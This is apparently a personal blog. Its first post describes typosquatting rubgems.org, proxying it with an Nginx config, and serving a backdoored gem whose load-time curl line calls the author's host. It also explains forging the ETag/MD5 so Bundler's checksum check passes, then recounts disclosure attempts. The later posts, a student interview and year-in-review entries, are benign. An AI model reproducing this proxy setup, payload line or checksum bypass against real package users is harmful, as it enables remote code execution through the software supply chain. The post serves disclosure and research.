How I MITM’d rubygems.org … Kinda

ruby, security

This story starts at the console debugging a coworker’s issue. They had gotten stuck trying to run bundle install. Try, and fail. Try, and fail. And the error was really weird:

1
Could not reach host rubgems.org. Check your network connection and try again.

We went through the normal steps: turn it off and on again, check wifi, load up google, go for a coffee , etc. Standard debugging techniques.

Finally we realized the y had inadvertently been dropped in source 'https://rubgems.org'. Huh. Go figure. We moved on our way after giggling a little. Rub gems. Hehe.

Then I got to thinking. If my colleague had made this mistake, surely other people have made this error too. I checked the whois record, and it was available! take_my_money

I was now in possession of rubgems.org, and was left with the question: What can I do with it? Which lead me to the logical conclusion: I wonder if I can Man in the Middle rubygems.org and see if other people make this typo!

It was stupid easy to setup a MITM. Grab a tiny AWS box, configure DNS, setup an Nginx proxy, and add let’s encrypt to the box. The Nginx config looked like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
server {
  listen       80;
  server_name  _;
  return 301 https://$host$request_uri;
}

server {
  listen 443 ssl;

  server_name  rubgems.org;
  location / {
    proxy_pass $scheme://rubygems.org;
    sub_filter 'rubygems.org' 'rubgems.org';
  }

  # SSL Config
}

And that was it. I cobbled together some commands to build a simple log file parser to send me a list of unique IPs each day via email, and then I sat back and waited.

What Does a RubyGems MITM Get You?

While I waited, I investigated and tried to determine: What is possible if you’ve got control of a rubygem? To answer this question I created a trojan_horse gem. You can see it here on rubygems.org: https://rubygems.org/gems/trojan_horse.

The rough contents of which were:

1
2
3
4
5
class TrojanHorse
  def self.hi
    puts "I'm a real horse"
  end
end

Then I made a modification of the gem and added my MITM code at the top:

1
2
3
4
5
6
7
`curl http://rubgems.org/request_capture`

class TrojanHorse
  def self.hi
    puts "I'm a real horse"
  end
end

I put this gem onto my MITM’d server, and tried to download it through various means.

RubyGems

Let’s see what happens with RubyGems. I started looking at gem install and set the --source flag, here’s what got downloaded:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$ gem install --source https://rubgems.org trojan_horse --verbose
HEAD https://rubygems.org/api/v1/dependencies
200 OK
HEAD https://rubgems.org/api/v1/dependencies
200 OK
GET https://rubygems.org/api/v1/dependencies?gems=trojan_horse
200 OK
GET https://rubgems.org/api/v1/dependencies?gems=trojan_horse
200 OK
GET https://rubygems.org/quick/Marshal.4.8/trojan_horse-0.0.1.gemspec.rz
200 OK
/usr/local/share/gems/trojan_horse-0.0.1/lib/trojan_horse.rb
Successfully installed trojan_horse-0.0.1
Parsing documentation for trojan_horse-0.0.1
Parsing sources...
100% [ 1/ 1]  lib/trojan_horse.rb
Installing ri documentation for trojan_horse-0.0.1
Done installing documentation for trojan_horse after 0 seconds
1 gem installed

$ ruby -e "require 'trojan_horse'"
$

Huh interesting. It reaches out to rubygems.org and then rubgems.org, but the download prefers to use rubygems.org over my MITM. Wonder why? Checking out the help docs solves that problem:

1
2
3
gem install --help
# ...
-s, --source URL                 Append URL to list of remote gem sources

From this it looks like the url is appended to the end such that if the gem doesn’t exist on rubygems.org only then will it reach out to a different source. No MITM possibility there!

Fresh Installation with Bundler

Next I tried my hand at bundler. I started by creating the following Gemfile entry:

1
2
source 'https://rubgems.org'
gem 'trojan_horse'

And received:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ bundle install --verbose
Running `bundle install --verbose` with bundler 2.0.1
HTTP GET https://rubgems.org/versions
HTTP 200 OK https://rubgems.org/versions
Fetching gem metadata from https://rubgems.org/
Looking up gems ["trojan_horse"]
HTTP GET https://rubgems.org/info/trojan_horse
HTTP 200 OK https://rubgems.org/info/trojan_horse
Resolving dependencies...
Using bundler 2.0.1
0:  bundler (2.0.1) from /usr/local/share/gems/specifications/bundler-2.0.1.gemspec
Fetching trojan_horse 0.0.1
Installing trojan_horse 0.0.1
0:  trojan_horse (0.0.1) from /usr/local/share/gems/specifications/trojan_horse-0.0.1.gemspec
Bundle complete! 1 Gemfile dependency, 2 gems now installed.
Use `bundle info [gemname]` to see where a bundled gem is installed.

$ ruby -e "require 'trojan_horse'"
% Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
Dload  Upload   Total   Spent    Left  Speed
100     3  100     3    0     0      7      0 --:--:-- --:--:-- --:--:--     7

As you can see from the curl output, having never downloaded the gem before, I have RCE through the gem.

Reinstall with Bundler

With the bundler reinstall, I began by uninstalling trojan_horse, and updating my Gemfile to the following:

1
2
source 'https://rubygems.org'
gem 'trojan_horse'

And then ran bundle install:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ bundle install --verbose
Running `bundle install --verbose` with bundler 1.17.3
HTTP GET https://index.rubygems.org/versions
HTTP 200 OK https://index.rubygems.org/versions
Fetching gem metadata from https://rubygems.org/
Looking up gems ["trojan_horse"]
HTTP GET https://index.rubygems.org/info/trojan_horse
HTTP 200 OK https://index.rubygems.org/info/trojan_horse
Resolving dependencies...
Using bundler 1.17.3
0:  bundler (1.17.3) from /usr/local/share/gems/specifications/bundler-1.17.3.gemspec
Fetching trojan_horse 0.0.1
Installing trojan_horse 0.0.1
0:  trojan_horse (0.0.1) from /usr/local/share/gems/specifications/trojan_horse-0.0.1.gemspec
Bundle complete! 1 Gemfile dependency, 2 gems now installed.

$ ruby -e "require 'trojan_horse'"
$

As you can see the gem downloaded cleanly from rubygems.org, without a trojan. Next I updated the Gemfile back to rubgems and ran bundle install --verbose:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# bundle install --verbose
Running `bundle install --verbose` with bundler 1.17.3
Found changes from the lockfile, re-resolving dependencies because the list of sources changed
HTTP GET https://rubgems.org/versions
HTTP 200 OK https://rubgems.org/versions
Fetching gem metadata from https://rubgems.org/
Looking up gems ["trojan_horse"]
HTTP GET https://rubgems.org/info/trojan_horse
HTTP 200 OK https://rubgems.org/info/trojan_horse
HTTP GET https://rubgems.org/info/trojan_horse
HTTP 200 OK https://rubgems.org/info/trojan_horse

Retrying fetcher due to error (2/4): Bundler::HTTPError The checksum of /info/trojan_horse does
  not match the checksum provided by the server! Something is wrong (local checksum
  is "\"534cd8e8e81a4c9e4506940916c63080\"", was expecting "\"5cea0d4d-55\"").

Looking up gems ["trojan_horse"]
Double checking for ["trojan_horse"] in repository https://rubgems.org/ or installed locally
Fetching gem metadata from https://rubgems.org/
Looking up gems ["trojan_horse"]
Resolving dependencies...
Using bundler 1.17.3
0:  bundler (1.17.3) from /usr/local/share/gems/specifications/bundler-1.17.3.gemspec
Installing trojan_horse 0.0.1
0:  trojan_horse (0.0.1) from /usr/local/share/gems/specifications/trojan_horse-0.0.1.gemspec
Bundle complete! 1 Gemfile dependency, 2 gems now installed.
Use `bundle info [gemname]` to see where a bundled gem is installed.

And herein I got caught! Bundler does a checksum comparison on the gem verses the server. But if I control the server, shouldn’t I be able to control the checksum? I checked what /info/trojan_horse returned:

1
2
3
4
5
6
7
curl https://rubgems.org/info/trojan_horse
---
0.0.1 |checksum:f199445ebe0d03a6125c80b5eae7678dfc88caa4a5bfc631928df2ff7354ee5c

curl https://rubygems.org/info/trojan_horse
---
0.0.1 |checksum:94b11151b60a613ecc426ac5855621aded3a8396b5a307bf24ecc2288ebc13c8

Those are different, but they don’t match the checksum failure I was getting. Things actually got confusing at this point. And when that happens, I jump into the source code and try to get a debugger around what’s happening.

Grepping for “does not match the checksum” on github lead me to MisMatchedChecksumError. And finally down to line 70.

1
 if etag_for(local_temp_path) == response_etag

At this point with a debugger around the code, I can start to look at the two variable values:

  • local_temp_path is a path to a local cache of the /info/trojan_horse file; on my local that path looks like this:
1
2
3
cat /tmp/bundler-compact-index-20200218-620-1ujtcvc/trojan_horse
---
0.0.1 |checksum:f199445ebe0d03a6125c80b5eae7678dfc88caa4a5bfc631928df2ff7354ee5c
  • response_etag is the ETag value from the request sent to rubgems for /info/trojan_horse. That value came back as:
1
2
> response["ETag"]
=> "\"5cea0d4d-55\""

First mystery solved I found one of the checksums. It’s a partial MD5 hash coming from ETag confused-cat

Still digging, I followed the method etag_for and ended up at this code:

1
2
3
4
5
6
7
8
9
10
11
def etag_for(path)
  sum = checksum_for_file(path)
  sum ? %("#{sum}") : nil
end

def checksum_for_file(path)
  return nil unless path.file?
  # ... <snip>

  SharedHelpers.digest(:MD5).hexdigest(IO.read(path))
end

That makes more sense! Bundler is doing an MD5 hash against the contents of the file returned at /info/trojan_horse. The MD5 hash for that file looks like this:

1
2
3
4
> content = File.read(local_temp_path)
=> "---\n0.0.1 |checksum:f199445ebe0d03a6125c80b5eae7678dfc88caa4a5bfc631928df2ff7354ee5c\n"
> Digest::MD5.hexdigest(content)
=> "534cd8e8e81a4c9e4506940916c63080"

And this is the second piece. The ETag is not matching with what I have on the local cache and that’s why the installation is failing. Makes sense. But I control the server, so I can modify the ETag! All that’s expected from the bundler standpoint is an MD5 checksum that matches the contents of the file.

I switched up my Nginx configuration so that when is requested /info/trojan_horse it reverse proxies to a local ruby server and sends back the MD5 hash it was expecting.

And viola! The backdoored gem installed. I was actually shocked at this point. I expected additional safety checks to break, and that wasn’t the case. The lesson here is if you own the server, the client can’t do anything to save itself from you.

Summary

To summarize my findings:

  • There’s no possibility of MITM against gem install
  • And I have full MITM with RCE against bundle install

Back to the Story…

After about 3 months I tallied up my stats. I had a collection of around 100 IPs. The geographical layout looked like this:

1
2
3
4
5
6
7
8
9
10
Location          | Count
------------------|------
Amazon - Virginia | 51
United States     | 7
Brazil            | 6
China             | 5
UK                | 5
Germany           | 5
Canada            | 3
Others with 1 IP  | 19

Not too shabby. You’ll noticed that half of those connections are for AWS. Which should give you pause, because it likely means my MITM was running on a staging or production server. Yikes! At this point I felt like my little experiment had run its course and demonstrated that this was a viable method for running a rubygems MITM.

I wasn’t entirely sure how to properly disclose this info. It was sensitive. But also, kinda not really. Especially since I owned the domain in question. But that said, there could be other domains that could be squatted so I felt it best to start quietly.

I started by submitting a report to HackerOne against the RubyGems program. If I could get paid for this, why not! Rejected. I wasn’t surprised with that. I asked to publicly disclose … it waited for a month until I bumped it, the H1 staff replied “we’ll let you know once we have info” and then closed it. I took that as: “Here is the door, please use it.” man_shrugging

The next avenue I tried was sending an email to rubygems’ security email: security@rubygems.org. I heard back within 2 hours, and then nothing. I sent a few follow up emails, but didn’t hear back. I happened to bump into RenderMan at BSides Edmonton and chatted with him about the MITM and lack of response. He fired off a tweet to see if he could get me a response. Nada.

Finally, I spoke to a colleague that had a connection on the rubygems team. This eventually lead to a response back from my initial email with instructions to file an issue. Progress!

Additionally, since this issue affected bundler, I sent security@bundler.io an email. That bounced back as undeliverable. Guess that email doesn’t exist. And sent an email to team@bundler.io and never got a response.

At this point, I submitted issues with the rubygems project and bundler project, and fired up the ol’ text editor to write this post.

This MITM turned out to be a lot of fun to run through. While it wasn’t a super serious issue, had I been a malicious actor, I could have RCE on a bunch of computers right now so… Achievement unlocked … Kinda! trophy

Interview With a First Year Computer Science Student

other

It’s been almost 2 years since my last post. There have been good intentions of writing things but you can clearly see how that turned out. To get back on track, I’ve pulled out an interview that I did for a local computer science from … timestamp says Oct 2016. My thoughts have largely stayed the same so I’ll post it below.


Q: What is your title in your company?
A: Software Engineer 4

Q: What are your technical certifications?
A: Bachelor’s Degree in Computer Science from University of Manitoba

Q: What technical website do you follow?
A: Hackers News, Stackoverflow, reddit.com/r/netsec, reddit.com/r/ruby, troy hunt, krebs on security, schneier on security, thought works, thought works technical radar, destroy all software, and xkcd

Q: What is the biggest IT challenge you have faced and how did you handle it?
A: People. People are always going to be your biggest challenge (as much as you may not believe it now.) In your day to day you’re going to interact with 10s to 100s of people, all with varying objectives, needs, goals, beliefs, and preferences. Learn to distinguish between the important things that are worth standing up for, and the minor details that are just bike-shedding.

I think the best way to handle people situations is with empathy. If you can put yourself in someone else’s shoes, you can understand their perspective and reach a solution with them. One of my favorite sayings is

would you rather be right, or would you rather be effective.

I’ve taken this to mean that sometimes I need to compromise on what I think is right, if it can achieve the same goal that my teammates and I are working towards. By being empathetic with my teammates I can understand their perspective which makes being effective much easier.

Q: How do you solve problems as a team when developing a software?
If they’re code problems, we will discuss the pros and cons of a problem, whiteboard the various solutions, and decide. It’s usually very easy to solve problems as a team. Taking time away from a problem can usually help too. I’ve found that taking a walk, or going home for the day will often solve a problem when I’m not even thinking about it.

Now if they’re people problems and not code problems – which are generally more common – going for a coffee or beer with someone is the best way to solve those problems! wink Getting to know someone personally, and face to face breaks down barriers so quickly.

Q: As a software developer what are the tasks you do besides developing?
A:

  • Writing tests: unit, integration/functional, or feature to verify software
  • Writing quick scripts to check work / validate outputs
  • Making sure our software is building correctly with our Continuous Integration / Deployment servers
  • Fixing bugs
  • Reading and/or understanding other people’s code
  • Reviewing teammates code
  • Communicating with other team members around new features, existing features, bugs, schedule, etc.

Q: How do you keep current on this industry?
A: Typically through the technical websites I follow, local industry groups (like calsec, yycruby), and peers

Q: Best program languages to learn at the moment? And Why?
A: For server side I’ve been hearing a lot of good things about Golang. And Javascript/NodeJS is huge right now, if the buzz of the internet is to be trusted. I barely know either so it’s purely speculation on my part.

My primary language is Ruby, and that will keep me employed for the next 5 years at least, however I’ve heard anecdotally of it’s decline in favour of the aforementioned languages. I haven’t seen that personally, but I am also keeping that in mind and am assuming I will likely need to learn a different language within the next 5 years.

Q: What is your input when it comes to learning languages? Is it good to learn basics of multiple language or master in one?
A: Personally, my recommendation is to learn one language really well, and know how to apply that knowledge to other languages. IMO a developer that knows the fundamentals can get up and running in a language with a few weeks of study. Being able to solve problems with code > knowing a particular language.

That said, I’ve also “levelled up” my skill in languages the most when I’ve started working in another language. For example, I didn’t grok blocks in ruby until I worked with objective-c and saw how it used blocks programming on the iPhone. I’ve heard that is a common situation. So maybe my answer is do both.

I would recommend learning different platforms. Programming server code, vs UI code, vs mobile code all come with very different perspectives and cause you to learn design paradigms that are applicable to all software.

Q: What is the best way to show case your work for employers or what is the best way to create a portfolio?
A: Ship it. Get something on an app store that an employer can download to their phone, or load on a website. I am 100% more interested in a piece of working software then a theoretical piece of software that you’ve written when we sit down for an interview. At a recent career fair, I had someone offer to demonstrate their Android app that they built (it was just a weather app). It was an excellent opportunity to talk about them and their coding and see how that person thought. We talked about APIs, UI programming, and failover conditions. It was a great discussion and I now know that this person is a capable software developer. Their resume went to the top of the pile.

CSV & XML Injections - YYCRuby Presentation

presentations, rails, ruby, secuirty

This month I had the wonderful opportunity to speak again in front of the YYCRuby meetup group in calgary. The presentation covered CSV and XML injection attacks, and for me the highlight was popping a shell on a windows vm using CSV injection. hurtrealbad

You can view the slides below:

2017 Year in Review

meta, other

Hello! This is the second installment of my year in review “series”. Last year I did a year in review and found it to be very beneficial and so the tradition continues.

Blog / Community

My goals for 2017 centered around a few items: finishing an ebook info product, writing on the blog, and mentoring with Chic Geek.

The idea for the ebook was to create something based on my experience in Ruby & Security. This did not happen. I started working on the project and came to the realization that I didn’t want to do an info product. My heart wasn’t there and I killed the goal!

The second bit of work that I wanted to accomplish was writing more for the blog. This also did not happen. Primarily there was no info product to write for and therefore not a lot of motivation to dig up new material for blogging. As well, very little major Ruby related work landed on my plate at work so there were minimal new ideas / material to write about.

Both of the above can feel like failures if I let them. But upon reflection I realize they weren’t things I wanted to do. And I’m okay with not doing something for the sake of meeting a goal. There is a quote from the book With Winning in Mind that applies to this situation:

if you trade up to a new goal in the process of working toward a goal, the first goal has completed its purpose!

In this case, I killed two goals that allowed me to pickup a new goal (more on that later). To me that is a success.

My final goal from last year was to mentor with Chic Geek. I had a fantastic mentee this year. My mentee made it her goal to get a job as a software dev. We worked on researching companies, polishing her resume, practicing for interviews, and working on a portfolio project. It was a very rewarding experience for both of us and my mentee hit her goal and landed a job in town. I was very proud of how hard my mentee worked and that she was able to accomplish her goal.

Goals

For this next year I’ve changed the community and blog related goals to be a little more focused on side projects:

  • Prototype App – A friend of mine has asked me to help him build a prototype Augmented Reality app to use for grant hunting. I like his idea and think I can spin him something quickly.
  • Launch a SaaS – I’ve got an idea that is approximately 40% implemented that I started last year. I’ve done a proof of concept and want to productize this app. I’ll write further about it as this materializes more.
  • Present at the ruby meetup group on security – I’ve got a few ideas lined up that should fall into place.
  • A blog post or two – One would be on the security ideas I have in mind, the other on some of the things I’ve learned at work in the last few weeks of 2017. We’ll see what the rest of the year holds.

Work / Security

Last year I had focused my work / security goals towards learning more about reverse engineering. There are two coleagues at work that I talk to about this topic and I enjoy every minute of it. As part of my goals last year, I decided to take a course on reverse engineering. I was lucky enough that these two colleagues were writing a course for SAIT on Malware Analysis and I was able to beta test it for them. It was a rare opportunity and I learned a lot from the course.

By taking the malware reversal course, I learned that I enjoy reading and discussing the topic of malware, but don’t enjoy the act of reversing malware as much. Which means that I was able to kill my goal of doing a full CTF.

I also learned during the year that I am more interested in web based security. I had the opportunity to attend an internal Cisco training course called r00tcamp. In the course, I was able to explore different types of web exploits – some I was familiar with, others I wasn’t – and also work on a web based CTF. As part of r00tcamp I was given time to find exploits in our product. I found a handful of security bugs (some major, some minor) which was a big win. And I now know that web based security is what I enjoy the most!

I had made the goal to complete a responsible disclosure last year and I am happy to report that I was successful doing this smile I submitted a security bug report through Hacker One, but unfortunately I didn’t get a bounty for it disappointed At least I can check off that I accomplished my goal in this area. white_check_mark

One additional piece of training that I was also able to take advantage of this year was CCENT. One of my co-workers teaches a CCENT course locally, and offered the training up to the Calgary office. By crossing out my info product & blogging related goals, I was able to make the time to go through the course. I learned a great deal about networking and feel like I have a solid grasp on networking fundamentals.

Goals

My goals for this year are focused around bug bounties & web security testing:

  • Achieve work goals related to pentesting – I’ve setup a reading material and security training plan at work and finishing even half of that would be a huge win.
  • Complete the Gruyere “CTF” – this will be good practice for doing real bug bounties.
  • Submit a bug and receive a bug bounty – Knowledge application!
  • Submit 5 bug bounties (stretch goal) – allthethings Knowledge application!
  • Finish crypto-pals (stretch goal) – this isn’t super high on the priority list, but getting more exposure to how crypto works is beneficial, especially with the Internet taking an HTTPS everywhere direction. There is going to be a lot of opportunity for exploiting incorrectly done crypto.

Weightlifting

Weightlifting did not go as planned this year. Let’s start with the numbers:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
               | 2017 |  2017  |      |
               | Goal | Actual | diff |
--------------------------------------|
Snatch         |  165 |  140   | -25  |
Squat Clean    |  245 |  200   | -45  |
Split Jerk     |  200 |  195   | -5   |
Clean & Jerk   |  200 |  195   | -5   |
Front Squat    |  265 |  215   | -50  |
Back Squat     |  315 |  240   | -75  |
Push Press     |  165 |  175   | +10  |
Strict Press   |  135 |  135   |  0   |
Bench          |  225 |  185   | -40  |
Deadlift       |  400 |  340   | -60  |
Overhead Squat |  185 |  165   | -20  |
BS + DL + BP   |  940 |  765   | -175 |

My presses & jerk went according to plan and I’m jerking above bodyweight success However my squats, deadlift, and olympic lifts did not. In fact, many of these numbers did not change from 2017. This happened for a number of reasons:

  1. Family
  2. Training Plan
  3. Injury

Let’s start with the family reason. This little guy decided to enter the Miller family:

Max Miller

My son Maxwell was born in June and he is an absolute joy (he’s the one on the right.) Anyone with a newborn will tell you one of the first things to go is sleep. And if you’ve done any weightlifting, you know that sleep is a must. This large change affected my training and weightlifting (no surprise there, or disappointment, our kiddo is amazing!)

The second reason that my weightlifting didn’t go as planned was that my training plan didn’t align with my goals. I had wanted to do a few weightlifting cycles like last year, but they never happened. I got distracted by the CrossFit Open, then distracted again with some other “nice to have” goals. All of a sudden it was December and I realized I had done nothing to hit my numbers. Oops!

I’ve already made changes to my programming to better align myself with my training goals, and have changed my focus away from CrossFit to exclusively weight training. I’m confident that this alone will help to hit my numbers this year.

The final reason for not hitting my numbers was injury. Around the time Maxwell was born I started to have pain in my left hip, especially when squatting. After a bit of diagnosing it turns out that bad mechanics were to blame. My hip flexors & quads were so tight they were having an affect on my hip socket and in turn causing pain in hip based movements (which is the majority of movements.) collision

It has taken me around 2 months to be pain free in my hip, and has been another month of rehab to fix my squat mechanics. There is still a long way to go and my squat is nowhere near fixed yet. I’ve only begun squatting with load this month and at a faction of what I’m capable of. Injury sucks and it is going to impact my goals for 2018.

Goals

This year I’ve set reasonable expectations for my goals, and a big stretch goal in the event that everything goes exceptionally well. My primary goal is fixing my squat. Without that working, everything else doesn’t matter.

If my squat is on track, my next set of goals revolve around hitting a 50 percentile against Beyond the Whiteboard. I use BTWB to track my lifts and it represents roughly what the CrossFit population is capable of. I’ve been > 50 for everything but powerlifts & olympic lifts for awhile and this has been the catalyst to lift seriously. Translated into weights that looks like:

1
2
3
4
5
6
7
8
9
10
11
12
               |         | 2018 |      |
               | Current | Goal | Diff |
---------------------------------------|
Snatch         |   140   |  145 | +5   |
Squat Clean    |   200   |  205 | +5   |
Split Jerk     |   195   |  200 | +5   |
Clean & Jerk   |   195   |  200 | +5   |
Back Squat     |   240   |  285 | +45  |
Strict Press   |   135   |  145 | +10  |
Bench          |   185   |  225 | +40  |
Deadlift       |   340   |  355 | +15  |
BS + DL + BP   |   765   |  865 | +100 |

These numbers are less ambitious than last years numbers.

To that end, I’ve setup a second goal if I hit the above numbers before the end of the year. That goal is to align my ratios against an “ideal athlete”. This is the idea that using the backsquat as a base measure, different lifts should be a certain percentage of the backsquat. I’d need to hit the following numbers to meet that goal:

1
2
3
4
5
6
7
8
9
               |         | 2018 |      |
               | Current | Goal | Diff |
---------------------------------------|
Snatch         |  140    |  190 | +50  |
Squat Clean    |  200    |  235 | +35  |
Split Jerk     |  195    |  240 | +45  |
Clean & Jerk   |  195    |  230 | +35  |
Push Press     |  175    |  185 | +10  |
Front Squat    |  215    |  245 | +30  |

Some of these numbers are pretty crazy given where I am now. And being able to add 45# to a split jerk, or 50# to my snatch in a year would be amazing.

2016 Year in Review

meta, other

Hi – I’m Gavin Miller and you’ve landed on the 2016 year in review. This is the first year that I’ve decided to write a retrospective style blog post. At the end of 2016 my boss asked me to do one for work and I was astounded to see the things I had accomplished, and the progress that our team had made for the year. To that end, I’m hoping to gain the same perspective on other areas in my life.

Blog / Community

This is the section that’s probably most relevant to readers of this blog. 2016 was a bit less than equal to 2015 for blogging material. In total I wrote 3 blog posts on the topic of ruby/rails security. I find these posts take approximately 10-15 hours of time to do, due to the research, verification, and testing of the posts.

One of the best posts I wrote this year was A Tale of Security Gone Wrong. It received more Internet points than other things I have written. It was a fun post to write and materialized from the presentations I gave for the local yycruby & yycjs groups.

The second big writing accomplishment for the year was releasing the Improve Rails Security in 5 Days email course. I wrote this when I switched from MailChimp for email newsletters to Drip. The purpose of this was to have a solid platform to launch an ebook from — more on that to come.

As I mentioned, I spent the beginning of the year doing a series of security presentations at local meetup groups. This was a lot of fun, and I can certainly see giving other presentations like this again in the future. It was also a real eye-opener. I don’t consider myself to be that knowledgeable when it comes to security (hello imposter syndrome), but these presentations highlighted how cursory many developer’s security knowledge is. I believe there’s many valuable resources that can be written for the intersection of “Secure Programming” and “Language X”.

To that end, I’ve begun to write one of those resources. I’ll keep details pretty sparse for now. This has been an idea on the back burner for some time. I had a bit of momentum on the project at the beginning of 2016, but then summer came and I completely checked out from wanting to do anything on the computer.

My final community accomplishment for 2016 was being a mentor for Chic Geek. I am a big fan of Chic Geek and Kylie who runs the organization. They are doing amazing things in Calgary to promote technology as a viable field for women. My mentee was able to work through some difficult problems over the course of our mentorship, and I grew as a mentor.

Goals

For 2017 I have set the following goals:

  • Finish ebook – this is a matter of putting one foot in front of the other and doing the hard work. I’ve already got a solid topical foundation and a rough sketch of what the book will be. Now I just have to execute on that!
  • 4 substantial blog posts – These spill out naturally when I hit interesting topics in my day job.
  • Mentor with Chic Geek – I had such a great time doing this last year that I want to make sure it happens again this year!

Work

2016 was an exciting year for me at Cisco. One I enjoyed tremendously. I’ve often thought that anyone can become productive in a system very quickly if they’re a good programmer. However, I’ve come to recognize that context takes a long time to build and depending on the nature of the role that is vastly more important to getting things done than sheer effort / skill / ability.

It was around the beginning of the year I actually started to get my footing in my role with enough context to have an impact on my team’s work. It was during this time that I began to refactor the build system for our project and move it onto GoCD. We were hitting occasional errors with builds and they were deeply dependent on institutional knowledge (details in only a few people’s heads) that wasn’t codified. Turn around was about a month on this project to start seeing tangible results in the build system. Eventually our team moved from a once every few days build model to daily builds. It has allow QA to build a regression testing suite into our builds which has saved everyone time and effort. Three cheers for CI/CD pipelines!

I was lucky enough to wiggle into my role at Cisco with limited Linux knowledge. This means that I’ve had to learn the linux domain on the fly, which has been painful at times, because you don’t know what you don’t know. Throughout this year I’ve ended up using a ton of utilities to analyze, diagnose, and fix bugs in our codebase. Just a few of the tools/systems that I’ve learned: grub, lvm, dd, rpm, yum, ldd. In addition to this I’ve also learned a ton about compiling programs from source, and how linking and pathing works for many open source software products. At the beginning of the year, I would have struggled to compile something like Ruby, Python, Erlang, or Perl from source. I’ve now compiled, recompiled, and configured all of those packages multiple times.

One of the other benefits of being at Cisco is being exposed to a boat-ton of smart people. And these people are in vastly different roles than mine. Part of that intersection came when Cisco held an internal CTF competition this year. I picked the lowest point value (easiest) reverse engineering task and made it my mission to solve it. I used stack diagrams, gdb, hopper, ida pro, and other tools all in the effort to find a flag. And success I found the flag!

Goals

  • Blog about non-ruby topics – I’ve accrued a fair amount of knowledge outside of Ruby as it relates to the tools I use daily. I’d like to write at least two blog posts on this experience. Namely: GoCD, and compiling from source.
  • Take a course/training on Reverse Engineering – I enjoyed disassembling code, and using the many tools to interact with source in the CTF competition. I’d like to build those skills more!
  • Complete a full CTF – To dovetail / compliment learning about RE, I’d like to apply those skills in a CTF. There are a few archived CTF’s that I’ve saved that I’ll take the time to go through and solve.
  • Complete a responsible disclosure – This one is a stretch goal. It’s one thing to write about protecting ruby, and it’s a total other thing to actually exploit a live system. Hacker One has an easy and ethical platform to do this from and I’d like to try my hand at it.

Weightlifting

Towards the middle of this year — June — I began to dial in and focus on my weightlifting. I’ve been doing CrossFit for the last 5 or so years, and I was getting frustrated that I wasn’t seeing enough progression on my olympic lifts. I talked to my coach at Most, and she suggested I do a strength cycle, and focus on nutrition. So we did.

I started with a simple program of eating at calorie surplus and tracking macros: Carbs, Fat, and Protein. This was the first time I had ever done a bulk, otherwise I had mostly kept to “eating healthy.” The thing is, if you don’t keep track of what you’re eating, it’s hard to tell wether you’re healthy or not. It became immediately apparent that I wasn’t regularly eating enough to build muscle. The program quickly fixed that! Over the course of 7 months I went from 160lbs to 190lbs — a 30lbs gain. It was very gradual as can be seen from the graph below:

20lbs weight gain over 6 months

As part of my eating, I did two strength cycles. The first one was a month long, and the second one lasted two months. The majority of the strength cycles focused on legs: Deadlift, Front Squat, Back Squat, etc. With some occasional upper body work. And it was also all tempo work. If you’re not familiar with tempo lifts it’s where you slow down the eccentric or concentric portion of a movement (I think typically during eccentric, and then driving strongly during concentric for power generation is the typical tempo setup.)

In that period of time I saw a huge increase in my squats and deadlift. While I saw improvements in clean & jerk and snatch, they weren’t as high as I had hoped. Towards the end of 2016 it felt like I was on the cusp of hitting a breakthrough on technique for both of these lifts. Overall between the end of 2015 to the end of 2016 my numbers looked like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Year end #s    | 2015 | 2016 |
------------------------------
Snatch         |  115 |  135 |
Squat Clean    |  156 |  200 |
Split Jerk     |  165 |  175 |
Clean & Jerk   |  165 |  175 |
Front Squat    |  177 |  215 |
Back Squat     |  215 |  240 |
Push Press     |  125 |  145 |
Strict Press   |  105 |  115 |
Bench Press    |  153 |  175 |
Deadlift       |  285 |  340 |
Overhead Squat |  119 |  150 |
BS + DL + BP   |  644 |  755 |

Additionally as part of my strength cycle I participated in a mini-powerlifting competition at my gym. It was a great time and I put up my max squat, deadlift, and bench press numbers for 2016. Here’s a picture of the 340lbs deadlift:

Gavin Miller Deadlifting 340lbs

Goals

For 2017 I’ve set the following goals for myself:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
               | 2015 | 2016 | 2017 | diff |
-------------------------------------------|
Snatch         |  115 |  135 |  165 |  +30 |
Squat Clean    |  156 |  200 |  245 |  +45 |
Split Jerk     |  165 |  175 |  200 |  +25 |
Clean & Jerk   |  165 |  175 |  200 |  +25 |
Front Squat    |  177 |  215 |  265 |  +50 |
Back Squat     |  215 |  240 |  315 |  +75 |
Push Press     |  125 |  145 |  165 |  +20 |
Strict Press   |  105 |  115 |  135 |  +20 |
Bench          |  153 |  175 |  225 |  +50 |
Deadlift       |  285 |  340 |  400 |  +60 |
Overhead Squat |  119 |  150 |  185 |  +35 |
BS + DL + BP   |  644 |  755 |  940 | +175 |

My pressing goals are approximately a 20lbs increase. My bench is much lower than it should be and I feel like a few pressing cycles can see a 50lbs increase. I’d also like to do two more leg cycles which I feel would bring increases in front squat, back squat, and deadlift. And finally the olympic lifts benefit from increases in upper body, and lower body strength cycles so hopefully those lifts increase as well!

For bodyweight I’d like to maintain between 180lbs – 190lbs of lean body mass. I’m not sure if I’m ready for more than that … yet wink